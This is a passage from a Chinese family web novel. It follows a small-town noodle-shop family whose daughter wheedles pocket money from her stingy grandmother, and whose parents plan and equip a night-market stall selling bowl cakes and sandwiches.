宁时夏正要问出口的话立刻咽了回去,目光转向厨房门口。 就见她奶奶正靠在厨房门口那里,嘴巴在动,应该是在跟厨房里的人说些什么。 但她这个距离听不清她说话的声音。 宁时春在厨房里都快被烦死了,他奶奶以前都不来,今天不知道抽的什么风,一来就在门口对他指指点点。 一会儿说别给人家放那么多肉,亏本! 一会儿又说米粉不用给得太实诚,少一点点人家也吃不出来,这碗省一点,那碗省一点,一天能省出来好几碗。 宁时春受不了这样,他就是个实诚人,宁愿少挣点,也不愿意这么做,要不晚上能反复回想自己做的亏心事,想到睡不着。 幸亏小秋瞎掰了一句:他爸严令禁止厨师之外的人进厨房,更不能碰里面的东西。 要不然看奶奶那架势,恨不得自己进来上手做。 “奶奶,你来啦!”宁时夏滑着滑板进来,热情地跟黄秀华打招呼。 黄秀华敷衍地冲她摆摆手:“你自己玩去吧,我正忙着,没空跟你玩。” 其实她就是在忙着对宁时春恨铁不成钢。 因为宁时春不听她的话去做,她就一直在门口盯着,念紧箍咒一样念叨他。 宁时夏一看她堂哥都被念到两眼无神了,回头再看看她哥,也是一脸无奈。 她眼珠子一转,拽着黄秀华的袖子说:“奶奶,别人现在都不爱跟我玩。” 这话立刻把黄秀华的注意力拽走一半:“你朋友不是很多吗?为什么他们不跟你玩了?是不是你做了什么得罪人家?” 宁时夏说:“不是我得罪人家,是我没有《百变小樱》的卡片,人家都有,他们就不愿意跟我玩了,奶奶你给我点钱去买小卡片吧?” 黄秀华不想给,什么小卡片,听起来不当吃不当喝的,买了有什么用?浪费钱! 她板着脸说“他们不跟你玩,你也别跟他们玩,找没有卡片的一起玩不就行了?” 以前她一板着脸小孩子就害怕,偏偏宁时夏知道自己爸爸妈妈很快就会回家,她已经不害怕了奶奶沉下脸了:“不行,所有人都有,就剩我没有了,奶奶给我点钱嘛?” 黄秀华现在除了装出一副很凶的样子,确实不能也不敢揍她屁股了。 只能继续黑着脸说:“等你爸妈回来,找你爸妈要钱买去,奶奶没钱。” 宁时夏:“我爸妈没钱,他们挣的钱,建房子、装修、开店都花光光啦。” “那找你爷爷要去,你爷爷有钱。” “我爷爷也没钱,他还让我帮他捡破烂呢,奶奶你给我一点吧,只要五块钱就够了,求你了求你了求你了,给我吧给我吧给我吧……” “五块钱!卖那什么卡片的人,怎么不去抢!” 一时间身份倒转,‘念经’的人变成了宁时夏。 宁时春乐得在厨房里转身对着墙偷笑,黄秀华被宁时夏烦得不行,赶紧往店外走:“我去县城好几天,家里的田地和菜地还没去看过,我得看看去。” “外面那么热,你等傍晚再去呀,我爷爷都是傍晚才去给菜地浇水,你放心,他把菜地照顾得可好了,奶奶你再待一会儿呗,我不要五块钱了,你给三块就行,我再让我哥给我两块,凑一凑也能买。” 宁时夏跟在她身后从店里一直念叨到老宅,她滑着滑板,还比走路的黄秀华轻松很多。 然而黄秀华只顾着摆脱这个比和尚还会念经的小孙女,根本没顾得上注意这些。 随着两人走远,宁时春真是狠狠松了一口气:“幸亏小夏回来了。” 宁时秋深表赞同,虽然奶奶挺疼他的,可她的疼爱让宁时秋有点承受不住。 比如在小夏还没回来之前,奶奶就悄悄给他塞钱,特地叮嘱他谁也别告诉,他拒绝都不行,非要给。 奶奶还以为自己做得特别隐蔽,没被他堂哥发现,其实堂哥都看见了,只是没往心里去而已。 但凡换个心思重的,这不是破坏他和堂哥的关系么。 他自己又不缺这几块钱,奶奶还不如把这钱给他们几个孩子平分,或者她自己全花光,谁也不给更好。 宁时秋把客人用过的碗筷端到院子里清洗。 洗好碗筷出来的时候,看到他妹妹乐颠颠地捣腾着一双小短腿跑进店里。 看到他出来,兴奋地喊:“哥,你快来看这是什么!” 宁时秋对她手里的东西兴趣缺缺:“又抓了西瓜虫还是屎壳郎?我可告诉你,不许抓蟑螂回来……” “不是虫子!”宁时夏急得跺脚,冲过去张开小胖手让他看,“噔噔噔噔!” 宁时秋看了一眼,有些意外:“钱?” 他以为妹妹一路跟着奶奶闹到老宅,爷爷看不下去给了哄她高兴的:“爷爷给你的吧,我帮你收着还是你自己收?” “不是不是,我说出来吓你一大跳,是奶奶给的钱!” “谁?你说谁给的?”宁时春忍不住掏掏耳朵,不敢相信自己听到了什么。 店里这会儿没客人,他也从厨房出来了,听到宁时夏的话后,果然跟宁时秋一起被吓了一大跳。 宁时夏得意地嘿嘿笑,重复道:“是奶奶给的钱!” 宁时春诧异道:“奶奶竟然会给除了小秋之外的人钱,也太稀奇了。” 他之前确实看到奶奶给堂弟塞钱了。 但他比堂弟大十岁,现在都是个大人了,不会在意这些,即使他小时候,奶奶也从来没给过他零花钱。 在宁时春印象中,奶奶就是这么一个人,好像心窄得只装得下一个孩子,一代人里就只疼爱一个。 他爸爸那一代人里,奶奶偏心二叔,在他们这一代的孩子里,她偏心小秋。 不只是他,家里所有人都习惯了她这个样子,所以小夏能在手里抠出钱来,真让他们惊讶不已。 更别说一抠就抠出了好几块钱。 “我数数,一、二、三,三块钱,咱们小夏出息了,竟然能从铁公鸡奶奶手里要到零花钱。” 宁时夏乐颠颠地把钱收起来:“哥哥,这钱我不存着了,一会儿我去买零食,我们一起分着吃,花完我改天再去找奶奶要。” 宁时春瞪大了眼睛:“你还敢找她要啊!不怕她骂你?”他觉得能要到一次已经是奇迹了。 “奶奶刚才也骂我了,但是她一边骂一边掏钱。” 那场面,宁时春和宁时秋都想象不出来。 宁时夏兴高采烈地说:“我过几天还得试试看,奶奶是不是总喜欢骂人一顿再给钱,反正试试又不费什么功夫,要是真的,以前被骂可真是白白挨骂了。” 她都有点后悔被骂的时候没跟奶奶要钱,就这么白白被骂了。 宁时夏本来还觉得奶奶骂人的样子太凶,她有点不高兴。 可是后来,看到她掏钱时一脸心痛,又不知道为什么还是掏钱给自己的样子,那点不高兴一下就全消失不见了。 宁时夏就觉得这事很有意思:“等我试过几次,要是每次都成,你们以后也去叫奶奶要零花钱,爷爷跟我说了,我们不要白不要,奶奶的钱给我们总好过便宜别人,最后打了水漂,等以后我们长大了,多挣点钱,也给奶奶、孝顺奶奶就行了。” 她年纪小,还不太懂大人之间的事,只知道奶奶最偏心自己哥哥,但爷爷话里的别人,很明显指的不是她哥。 她以为说的是他们不认识的人,可不就当真努力薅奶奶的钱了。 宁时夏可不觉得自己长大后挣不到钱,现在她跟爷爷一起捡破烂都能买不少钱,长大后力气更大,只会赚到更多! “奶奶多多地给我钱,然后就能等着我这个好孙女以后孝顺她吧!” 宁时秋:“……” 宁时夏:“我可以教你们,比如想问奶奶要三块钱,就跟她说要五块,准成功的。” 宁时春忙摆手:“不敢不敢,你问问你堂姐去吧。” 宁时夏攥着钱就跑自己房间去找堂姐,结果她堂姐也跟堂哥一样摆手说:“不敢不敢,等下次丹洁来,你让丹洁跟你一起去吧。” 至于小秋,他不用挨骂也能从奶奶手里要到零花钱,就不说他了。 “好吧。”宁时夏遗憾地说完,决定先自己多尝试几次,等二堂姐回来再叫她跟自己一起。 宁时秋让她先别花这钱,可以等晚上去夜市玩的时候再花:“傍晚爸爸妈妈回家,你把这事跟他们一说,他们保准也被吓一大跳。” 他们几个在店里嘎嘎乐的时候,黄秀华在老宅哎哟哎哟地捂着胸口直喊胸闷胸痛。 宁达在旁边捂着嘴偷笑,心想可算有人治她了。 老夫老妻这么多年,连他都不知道自家这老婆子还有这么一面。 不过也有可能是今时不同往日,以前她年富力强又在家说一不二,没人敢这么对着她念经一样吵闹,自然发现不了她这一面。 赵如月和宁绍明跟两个房主签好合同后,宁绍明先送赵如月回学校上课,然后自己到那一排小平房去看即将属于他们的四间房。 因为今天和明天银行都休息,他们只交了定金,还没付全款。 房子的钥匙要等到付全款后卖家才会给他们。 现在宁绍明只能站在门口,通过窗户往里看,越看越觉得这几间房子方方正正的,户型确实很好。 不但可以当商铺用,要是不嫌临街住着太吵,修一修也可以当住宅用。 放在一年前,他都不敢想自己能在县城买房子。 他跟很多镇上的人一样,满心都是去打工挣了钱、还完债,再存点钱回老家建楼房。 现在他的心境跟以前已经有了很大的不同。 看完房子,宁绍明对于房子怎么翻修,心里有数了。 这房子外面看起来比较旧,里面实际保存得还可以。 如果家里实在资金有限的话,不翻修将就着用也不是不行。 时间距离赵如月下课还早着,宁绍明又去逛了逛县城的建材市场,看看翻修材料的价格,估摸一下翻修房子大概要多少钱。 赵如月的维修店短时间内暂时开不了,至少要等到她上完一学期的课,才会去做开店的准备。 要是把镇上的店照搬到县城这里,只装修一间房也可以。 不过宁绍明的打算,是把米粉类和面包类分开,资金允许的情况下最好翻修两间。 另外两间到时候再跟赵如月商量一下是不是要租出去。 傍晚赵如月下课,提前给家里打了电话,跟家里说他们快要回家了。 让宁时春先把饭菜做好,今晚吃过饭,要一起去夜市玩,等宁绍明回去再做,吃完饭再出门就有点晚了。 宁时夏有点蠢蠢欲动,想拿自己在奶奶哪里薅的三块钱去给家里买肉,想想还是忍住了。 等赵如月和宁绍明回到家,宁时夏又把那三块钱拿出来,在爸妈面前炫了一回。 看着他们惊讶的表情,宁时夏都有点不舍得花这三块钱了,总觉得这三块钱现在被赋予了不一样的意义。 应该把它们跟相片一样裱起来,摆在她摆放玩具的柜子上,充当她的战利品! 宁时夏说干就干。 吃过晚饭,她找出之前给六一儿童节的照片做相框剩下的材料,按照钱的尺寸,做了一个相框,然后把这三块钱整整齐齐地放进相框里固定好。 宁时夏做好之后,拿出来显摆给家里其他人看。 赵如月进去看了看,觉得还挺漂亮的,跟女儿玩笑道:“这回你奶奶的钱包可真是大出血了。” 以前这老太太可是连三毛钱都不舍得给孩子,这次竟然愿意给三块钱! 而且她给小夏的这三张一块钱纸币,还挺好看,是正面印着女拖拉机手的第三套一元纸币。 这套纸币2000年已经停止流通,但是在他们这样的小镇子上,老人手里依然还零星地持有一些,他们拿着这钱在街上买东西,店家也不会不认。 七点钟,郑秀开车到门口,宁时夏今天得了好处,还知道礼尚往来。 她特地往老宅跑了一趟,问她爷爷奶奶要不要跟他们一起去县城也是玩。 “夜市可好玩了,我听我妈同班那几个住在县城的阿姨说,夜市里有特别特别多的好吃的东西。” 黄秀华现在一听到人提县城心里就难受,而且她也怕自己去了,又让这小丫头敲一笔。 直摆手说:“不去不去,我今天刚从县城回来,累得很,现在哪里都不想去,只想在家休息,要去你们自己去吧。” 宁达倒是兴致勃勃地跟着孙女走了。 他去过县城老二在学校分配到的宿舍,也去县城办过事,但是单纯去县城玩还是几十年来头一回。 宁达坐上车后心里也挺唏嘘,老二回县城工作那么多年了,第一次去县城纯玩,竟然还是老三家带他去的。 赵如月星期六晚上也不用上课,他们一家四口,加上宁时春和宁丹萍兄妹俩,再加上宁达,郑秀的面包车难得在这个时候被坐得满满当当。 到了县城,直接开到夜市街入口。 “这么多人!” 一下车,他么一行人就被夜市街那人挤人的架势唬住了。 本来赵如月还跟同班的几个女同学约好一起逛逛。 现在夜市街人那么多,几家人再凑一起,他们这一行人人数越发壮大,进去后,根本没法一起行动。 只能先分开,各自跟各自的家人逛,等下次有机会再约了。 宁绍明立刻抱起儿子,让赵如月抱女儿。 赵如月力气也不小,女儿乖乖待在她怀里不乱动,她抱着女儿并不费劲。 宁时秋都快九岁了,自觉自己已经长大,不再需要大人抱。 这会儿突然被抱起来,因为不好意思,脸和耳朵通红一片:“爸爸,你放我下来吧,我可以自己走。” 宁绍明:“不行,这里人太多了,谁也不知道有没有拐子混在里面,万一走散了找不到你,我跟你妈哭都没地哭去。” 其他人也赞同他这话,宁时秋只好老实让他爸抱着走,心口鼓鼓胀胀的,感觉更开心了。 宁丹萍也拽着她哥的衣服下摆,紧紧地跟在大人们身边。 跟她家住同一条街那个老光棍的傻子新娘的事,还没过去多久。 人家是脑子那么聪明的大学生,被拐之后都疯了,她还不如人家聪明,出门在外得更加小心才行。 夜市街有两个出入口。 本来这两个出入口都能进出,但是由于人太多,另一个路口也被堵住了。 现在只能从这边近,出去的时候也只能从另一边出。 一行人从路口的第一个看起。 入口的地方,两侧全是买衣服鞋子的摊位。 男人普遍对这些没什么兴趣,他们连衣服都是女人给买的。 赵如月看中了一个摊位,带着跟宁丹萍进去逛,几个男人就在门口等着。 “我看你的衣服裤子有点短了,夜市街摊位上的衣服看着比批发市场三楼的衣服还便宜一些,你挑两套喜欢的试试看,你下周放暑假就要整天在店里干活了,那两身衣服,就当是店里的工作服。” 赵如月自己审美一般,就让宁丹萍自己选了。 “不用不用,我衣服够穿。”宁丹萍觉得自己已经拿工资了,哪还能拿衣服? 赵如月却觉得工资给少了,但是镇上都是这个工资水平,县城的服务员工资倒是涨了一些,最少也有五百一个月,但人家是全职。 而且她跟宁绍明买了房子手上的钱就没多少了,暂时也不能给宁丹萍涨工资。 要是给她涨的话,就得先给宁时春涨,所以只能先给她买两套衣服,涨工资的事,要等他们手头不那么紧了再说。 夜市街上现在卖的都是夏天的衣服,一件T恤十几块钱,夏天的短裤也才二十几一条,买两套是真不贵。 “你不选我可就帮你选了,我选的可不一定好看。” 赵如月看她还是拒绝,就挑了一套让她进摊主用帘子围起来的临时换衣间试试。 宁时夏也鼓动她去试试看。 宁丹萍拗不过她们,只好带着衣服进去了。 换好之后出来,果然很丑,原本宁丹萍的身材比例是四六分,穿上这套衣服,直接变成了五五分。 连赵如月自己都看出来,这衣服不适合她,最后还是让摊主帮忙选了两套。 赵如月看着宁丹萍身上店家帮选的衣服,发自内心地感叹道:“果然,能干服装这一行,没有一点审美是不行的。” 这话把摊主夸得脸上笑成了一朵花,给她抹了零头不说,还送了一双袜子。 买完衣服继续逛,他们没了买衣服的需求,就快速地越过了入口处,服装摊子集中的那一截地方。 后面那一段就全都是买吃的了。 来到美食聚集地,所有人都打起了精神,这里看看,那里瞧瞧。 刚开始还挺兴奋的,走到后面就发现有点千篇一律了。 “这夜市街里卖的吃食,怎么一大半都是烧烤啊?”宁时夏说完啃了一口热狗肠,又继续说,“这烤肠上抹的料还不如我爸做的好吃。” 夜市街人声嘈杂,她个小孩子又童言无忌,说这话的时候声音特别大声,唬得赵如月赶紧抱着她离开人家的摊子。 其他人跟在她们身后都忍不住笑起来,不过心里都觉得宁时夏说的没错。 他们几乎每个摊子都买了一点东西试了试,味道好的不是没有,但大部分都一般,价格还比镇上贵。 只是在夜市街上卖东西的氛围到了,人又多,所以东西味道一般的摊子生意也不差。 出了夜市街,被赵如月叮嘱过,不能在别人面前说别人东西不好的宁时夏,在她耳边小声说:“我爸来摆摊,肯定比那些摊子都卖得好!” 赵如月笑了笑说:“夜市摆摊要摆到凌晨一两点,你爸早上五点就要起床,再在夜市摆摊的话,他可要累死喽。” 宁时夏被这话吓得直说不摆了:“还是让我爸好好活着吧。”她可不想没有爸爸。 宁绍明走到她们身边只听到半句,就问:“什么好好活着?” 宁时夏眼泪汪汪地看着他:“爸爸,你可一定要好好活着。” 这话让宁绍明和宁时秋听得一头雾水,赵如月忍着笑给他们解释了一通,他们才明白是什么意思。 其他人笑过就算了,宁绍明却把这事放在了心上。 家里又要欠债,他总觉得欠钱心里会很不安,每次都想尽快把欠别人的钱还上。 他媳妇儿每天晚上去上课,他待在家里也觉得无聊的很,要是能利用这段时间,去夜市摆摊也不错。 每天跟着媳妇儿去县城,媳妇儿去上课,他去摆摊。 一直摆摊到媳妇儿下课,再一起回来,总比在家当望妻石好得多。 而且今天在夜市街看别人做得一般般的东西也能赚钱,他也是有点眼热的,别人都能干成,没道理他有手艺还干不成这事。 晚上回去后,各自洗完澡。 赵如月坐在房间的书桌前算今天的账目。 宁绍明也搬了个椅子进来,拿出一张纸把自家卖的东西,还有平时给家人做过的一些好吃的,一个个列在另一张纸上。 然后回想着夜市街看到的摊位,把跟夜市街重合的吃食全部划掉。 再把他觉得不适合在夜市街卖的东西也划掉。 剩下的就是做起来比较简单,可以又提前做好再带去,不用现场开火就能卖的吃食了。 一个是钵仔糕,小小一个,可以放不同的食材,做成各种各样不同的样子,好看又好吃,小孩子和女孩子应该都会喜欢。 另一个就是各种各样的三明治,可以蹭一蹭外国食物的噱头,听着洋气。 虽然崇洋媚外不好,但是现在很多人就是觉得外国的东西更好,很多国产的东西都特地想方设法地让自家的东西跟外国沾点边。 而且镀上一层洋气后,东西确实更好卖了,这确实让人无奈又无力。 宁绍明也不打算做太多,暂时先定下这两种。 每天卖完就收摊,到了媳妇儿下课的时间,卖不完也收摊回家。 反正家里孩子多,多少东西都吃得完,而且除了自家孩子,还有亲戚家孩子呢,不怕带回来的东西没人吃。 他写好之后,凑到赵如月身边问她意见。 赵如月刚开始听到他真想去夜市街摆摊,忍不住皱眉,听到后面才松开了眉头,没有说反对的话。 只是说道:“那你得答应我,不能一看生意好,就不管不顾了,得注意自己的身体。” 她不想再当一次寡妇了。 宁绍明看她担心得都要哭的样子,心软得一塌糊涂,连连保证自己一定保持初心,按照商定好的计划去做。 “不知道在县城能不能买到做钵仔糕的小碗,我明天中午再去一趟县城看看,顺便跟郑师傅谈谈车费的事。” 赵如月说:“不用特地再跑一趟吧?我明天中午有空,可以去批发市场看看。 如果有那种小碗的话,我就直接帮你买了带回来,还有做三明治的食材,也要买,总不能去县城摆摊还像忽悠自家孩子一样,用馒头片充当吐司片。” 跟郑秀商量车费这事,早上她来的时候就能商量好。 赵如月也是心疼他休息时间太少,平时忙店里的事不说,午饭和晚饭也几乎都是他来做,赵如月就想让他明天中午好好休息一下。 她自己星期六、星期日白天去县城上课,中午是不回来的,可以直接在学校宿舍里午休,休息的时间比他多多了。 宁绍明想了想说:“那行,这事就交给你了,还记得做钵仔糕的碗长什么样吧?” “当然记得,你放心,我一定把这事帮你办得漂漂亮亮的。” 以前他们在鹏城见到的钵仔糕,大部分是用不透明的陶瓷小碗来做。 这次赵如月打算找那种透明的玻璃小碗,再买几串小灯和一个蓄电池。 到时候做出来的钵仔糕打上光,看起来肯定更吸引人! 宁绍明笑着点头,又想起一件事:“差点忘了说,你逛完市场还有空的话,顺便再拐到夜市街管理办公室那边问问,想去摆摊是个什么章程,如果顺利的话,我明天晚上就能去摆摊。” “那万一买不到做钵仔糕的小碗呢?”赵如月问。 这个情况宁绍明也考虑到了:“买不到合适的小碗,我只做三明治带去试试水也行,不够的话,还有我们自家的杯子蛋糕、铜锣烧。” 热狗面包分量太大,一个吃下去就饱了,他觉得不太适合带去夜市街卖,就没提这个。 知道他心里有数,赵如玉就放心了。 第97章 钵仔糕是外地美食,赵如月在本地生活那么久,也没见有人卖过。 所以赵如月觉得专门做钵仔糕的碗,在本地八成买不到,估计还是得买别的东西代替。 她这天中午下课后,先去批发市场找,批发市场是最有可能找到的地方。 如果在批发市场找不到,其他地方找到的概率更低。 为了能找得更仔细,赵如月的午饭都很简单,随便在街边买了两个包子,就在批发市场边吃边找。 在批发市场找了三圈,人家商户都要觉得她有病了,果然还是没找到。 不过赵如月也不是没有收获。 在找的过程中,她把可以替代钵仔糕小碗的东西记了下来。 找这三遍,足够她判断哪种更便宜好用。 同时还买了几样摆摊需要用到的东西:一次性塑料袋,家里有,但没有比较小的,钵仔糕用不着那些中号和大号的塑料袋。 他们需要预备一些小号的塑料袋,遇上客人买了钵仔糕,不想拿在手上马上吃时,可以帮客人用塑料袋把钵仔糕套上,这样好提又能隔绝灰尘。 这种小号的塑料袋很便宜,赵如月直接买了十扎。 还有扎取钵仔糕的竹签子也买了几扎,剩下的就是做钵仔糕和三明治的主料和配料了。 摆摊的折叠桌子不用买,家里多得是,倒是桌布得买个好看的。 赵如月跑到批发市场三楼,三楼卖衣服、卖布料、卖床品的摊子都有。 她审美不行但是可以学别人,也不管店家的推荐,径直就让店家帮忙拿一张白色格子的桌布。 想了想白色容易脏,又买了一张浅粉色格子的桌布,当白色桌布换洗时的替换。 买完这些,她跟郑秀约好来运东西的时间也快到了。 赵如月把东西暂存在买东西最多的那家店铺,然后跑到批发市场门口等了一会儿,郑秀就到了。 两人一起把东西搬上郑秀的车。 郑秀开车把东西运到达镇上时,宁绍明午觉刚好睡醒,换宁时春去休息。 宁绍明把东西搬进屋,然后一样样看过去。 确认赵如月买的东西除了做钵仔糕的小碗之外,其他的都很齐全,甚至配料比他想象中还要多,连奶茶粉和珍珠、西米都有。 这些东西被家里的孩子发现后,宁绍明的钵仔糕还没做,就在孩子们的要求下,先把珍珠和西米煮熟,用奶茶粉给他们做了奶茶喝。 今天是学生返校的日子,这个点已经零星有一些家离学校比较远的初中生到镇上来了。 很多初中生已经习惯一到镇上,就先跑到宁丹萍三叔家的店里买东西吃。 宁绍明的奶茶做好,凉了一会儿感觉没那么烫了,他端出来正要放进冰箱,就让这些初中生闻到了奶茶的香味。 这些初中生经常来买东西,也跟宁绍明很熟悉。 他们顺着味道凑过来问:“老板,你家也卖奶茶吗?” 宁绍明手一顿,想了想还是摇摇头:“不买,这个是做给家里孩子喝的。” 谁知那几个凑过来的学生立刻指着自己说:“老板,你还缺孩子吗?如果你缺的话,我现在就可以是你的孩子!” 这话让宁绍明哭笑不得:“不缺不缺,两个都难养了,再养几个家里要破产。” 那几个初中生一阵哀嚎,嚎完看到宁丹萍,又说:“我们不能当你家孩子,跟丹萍一样给你当侄子侄女也行。” 宁绍明笑得不行,连装奶茶的大锑锅都差点端不稳了,奶茶在锅里直荡动,看着像是快洒出来一样。 唬得几个初中生嗷嗷叫着,赶紧帮他把大锑锅放进冰箱里:“小心小心,可千万别弄洒了。” 宁绍明低头看了一眼锑锅里的奶茶,他煮东西的时候,总担心自家孩子不够喝,结果一煮就煮了一大锅。 现在看来不可能不够喝,而是喝不完了。 又看看那些学生,学生们对自家店帮衬不少,一点奶茶也花不了多少钱,干脆临时加了个限量福利。 “现在奶茶还是温热的,这么热的天气,温热的奶茶喝起来,口感肯定不如冷藏过的好,你们要是现在就想喝,我给你们在店里买过东西的人,一人送一杯” 学生们哇了一声问:“这是今天买东西的福利吗?” “算是吧,不过最初确实是想着做给孩子喝着玩的,我做的不多,先到先得,送完即止。 还有我得先声明一下,我家里没有奶茶杯,只有一次性杯子,只能用一次性杯子给你们装了,量肯定不如奶茶杯装的多。” 学生们忙说道:“没事没事,这是意外之喜,能解解馋就不错啦!” 有学生担心自己排不上,当即说道:“那我可不等了,我现在就喝。” “还有我!” “我也是!” 宁绍明只好去小仓库,把以前没用完的一次性杯子拿出来,顺便把家里能装两升水的水壶也拿出来了。 他先把给家里人喝的奶茶分出来,放在冰箱里冷藏,剩下的大半锅就是要送的。 “你的这杯要珍珠、西米还是两种都要一点?”宁绍明问排在前面的学生。 珍珠和西米他没混进奶茶里,现在倒是方便了。 他装了几杯,又有客人进来吃东西,就把这活交给了宁丹萍。 去厨房,把客人点的炒米粉做好。 宁绍明往外看了一眼,宁丹萍还在有条不紊地给客人装奶茶,对于今天突如其来的限时、限量福利,也解释得很清楚,自己就待在厨房没再出来。 在完成客人点单的同时,见缝插针地处理做钵仔糕和三明治的食材。 等宁时春也休息好,正好是星期日初中生返校的客流量高峰期,奶茶也送完了。 有条不紊地忙完这段时间,等宁时春和宁丹萍终于能坐下歇口气时,突然发现,他们三叔不知道什么时候,竟然已经用家里的味碟和比较小的饭碗做好了一些钵仔糕! “三叔,你什么时候做的?”最震惊的是宁时春,他明明一直在厨房里干活,怎么就没发现呢? 宁绍明轻描淡写地说:“客人也不是一起涌进来的,人少的时候,我顺便抽空就做了。” 宁时春:“……”这个时间段,他就没觉得人少的时候。 明明有时候他三叔看他好像累了,还把他手里的活接过去一部分来着…… 宁绍明把钵仔糕端出来:“来尝尝味道怎么样。” 用味碟做的钵仔糕看起来小小浅浅的一片,而家里的小饭碗再小也比做钵仔糕的小碗大好几倍。 宁绍明往小饭碗里放的时候,只放到小饭碗三分之一的位置,做出来也超超大了。 厚厚大大的一个,只有宁时春吃着觉得很过瘾。 宁时春吃完一个红糖味的钵仔糕,点头说:“好吃,就是不够甜。” 他跟宁时秋和宁时夏一样比较嗜甜,宁绍明看向宁丹萍:“丹萍吃着觉得怎么样?实话实说就行,我得用你们的口味作参考。” 宁丹萍吃完也说:“我也觉得不够甜。” 宁绍明自己吃着觉得甜度刚好,但他还是决定再给打算带去卖的钵仔糕增加一点甜味。 毕竟钵仔糕主要还是卖给孩子和年轻女孩,宁绍明自己的口味更偏向成年的大人,大人买回去大概率还是给自家孩子吃。 赵如月还没带着做钵仔糕的小碗回来,宁绍明就先做三明治。 于是他们今天的晚饭就变成了:鸡蛋火腿肠三明治、鸡蛋烤肠三明治、鸡蛋肉松三明治、芋泥肉松三明治。 在县城的赵如月也没闲着。 下午下课后,赵如月又让郑秀带她在县城逛了一圈,先去夜市街管理处,问了问摆摊的事。 在夜市街管理处得知,现在剩下的摊位位置不太好,所以才剩下的,但是每个月也要交五百块钱的摊位费。 赵如月没多想就交了摊位费,拿到一份合同和一个牌子。 到时候他们摆摊得把这个牌子挂上,以免工作人员去巡逻的时候,以为她家是私下跑进夜市街卖东西的摊子,重复收摊位费。 拿到东西后,工作人员还特地带她们去看位置在哪,然后指着地上的红线,告诉她们:“摆摊不能越过框定好的位置,要不然跟人家起了争执,我们管理处不但不会帮着说话,还会对越位的人进行罚款。” 赵如月觉得这样挺好,大家都不乱摆出界,夜市街才不会显得乱糟糟的。 离开夜市街后,郑秀开车带着赵如月,把她们两个能想到的地方全找了一遍。 结果在赵如月的意料之中,她还是没能找到专门做钵仔糕的小碗。 于是赵如月再次转向批发市场。 她本来想着买透明的钵状茶杯,但是茶杯价格太贵,而且几乎都是一套一套地买。 后来在去批发市场的路上,路过一家一元店,听到店门口那个大喇叭喊着:两元两元样样两元,两元你买不了吃亏买不了上当。 她想着小灯串还没买,这种店没准比批发市场还便宜,就让郑秀停车,走进去了。 在找小灯串的时候路过两元店的碗碟区,看到一种玻璃杯子,小小的圆圆的,看起来特别可爱,最重要的是,这个小玻璃杯的容量,看起来跟钵仔糕的小碗差不多大小。 虽然它有把手,但是谁规定做钵仔糕的容器不能有把手了? 而且她找到老板一问,这个小杯子的价格还比茶杯便宜很多,两个是一组,一组两块钱。 赵如月瞬间把什么小灯串全忘了,直接买了二十组,一共四十个,第一天宁绍明只是摆摊试试水,做四十个应该差不多了。 她看两元店里这种杯子存活不少,要是杯子不够的话,明天可以再来买。 付完钱要走的时候,赵如月终于想起自己是来找小灯串的。 两元店里确实有,但都是小彩灯,她觉得小孩子应该会喜欢,也买了两串小彩灯。 又买了两个正方形的网格,用来固定灯串。 再网格旁边看到带轮子的三层置物架,有点心动,家里的折叠没有固定网格的东西,买两个小推车,可以直接把它摆在桌子的两边。 到时候再把网格固定在小推车上,就不用再找杆子固定网格了。 而且小推车里放上钵仔糕,再挂上小彩灯也挺好看的,可以起到展示架的作用。 以后不摆摊了,还能放在家里装东西。 但赵如月一问价格,一个竟然要二十五块钱,她直接就放弃了。 转头就买了两个八块钱一个的两层浴室置物架,又花不到五块钱,买了几个小轮子和一捆扎带,打算回去自己做。 蓄电瓶和白色的小灯串最后还是在批发市场买的。 把所有要买的东西都买好,赵如月带着东西回到家。 先把杯子搬出来交给宁绍明,跟他解释道:“找不到别的,我就在两元店买了这些,一共四十个,应该暂时够了吧?” 宁绍明连味碟和家里的小饭碗都用来做过钵仔糕,自然对赵如月买回来的杯子没意见:“够了够了,我拿去洗洗,你先去吃晚饭。” “今天晚饭我只准备了三明治和奶茶,你要是想吃点别的跟我说,我再做,对了,”宁绍明指了指她买的小灯串和置物架那些问道,“那些东西用来做什么的?” 赵如月说:“晚点等我做好,你就知道了,我还得把这些东西处理一下,不然灯串没法直接用电瓶供电。” 她要卖个小关子,宁绍明也乐得配合,就没再多问,钻厨房抓紧时间做钵仔糕去了。 宁绍明洗好小玻璃杯,赵如月也吃完了一个三明治和一杯奶茶。 填饱肚子后,她拿起工具,突然想起什么,放下工具就往厨房小跑。 宁绍明正准备烧一锅热水煮一煮那些杯子,给它们消消毒,赵如月问过了,这些都是耐高温的玻璃杯,不怕上锅蒸,自然不会被煮坏。 他一抬头,看到媳妇儿跑过来,还以为她要做的事需要自己帮忙,问道:“怎么了?” “你等会儿做钵仔糕,能不能给我做几个流汁夹心的口味?” “流汁夹心?”宁绍明思考了一下说,“像奶黄包那种?” “应该差不多吧,我想要红糖流汁夹心钵仔糕,还有巧克力流汁夹心钵仔糕,我记得家里还有一点巧克力。” 那也是以前买给孩子吃的零食,卖完了才知道是代可可脂,赵如月就收起来了。 既不想给孩子吃,也不舍得扔,他们俩又不太喜欢吃,今天她想吃流汁夹心的钵仔糕才想起来家里还有这个。 她一个大人,偶尔吃一次应该没事。 宁绍明点点头:“我试试看。” 反正他也要做好几种口味的钵仔糕,多做两种也不妨事。 原本宁绍明打算做五种口味,分别是:红豆、绿豆、牛奶椰丝、奶茶珍珠、椰奶西米,每种八个,正好把四十个小杯子都用上。 现在再加上这两种口味,他干脆再加上一种火龙果味的,改成做八种口味,每种做五个。 宁绍明准备的料不止能做四十份,做出来的第一批就先让家里人选择喜欢的吃,把杯子腾出来后再继续做。 赵如月跟宁绍明说完话,又跑回了书房。 她买的蓄电瓶是老式分体电筒的蓄电瓶,而几串小灯串带的插头需要插到插座用。 得先把插头拆下来,然后分别将它的两根电线分开到合适的长度,再剪掉一部分灯串电线上的塑料外壳。 将去掉外壳的部分做成鱼钩的形状,正确地钩在蓄电池的两极,形成闭路,小灯串就能亮起来了。 不用的时候,只需要解开小灯串的其中一个钩子,不用全部拆下来,也挺方便的。 蓄电瓶在强光状态下最多能用十四个小时,在弱光状态能用二十五个小时。 宁绍明出去摆摊,摆到她下课,最多也就四个小时,即使把所有灯串都接上也足够用了。 赵如月本来想图个方便,买两个蓄电瓶,让宁绍明换着用。 结果一问价格,这蓄电瓶还不便宜,一个要一百二十块钱,所以在觉得一个蓄电瓶也够用的情况下,她就该省省,只买了一个。 把小灯串都改造好后,赵如月又去折腾,两个浴室置物架,它们底下是网格状的,安装轮子比她改装小灯串还简单。 直接扎带一绑,就成了。 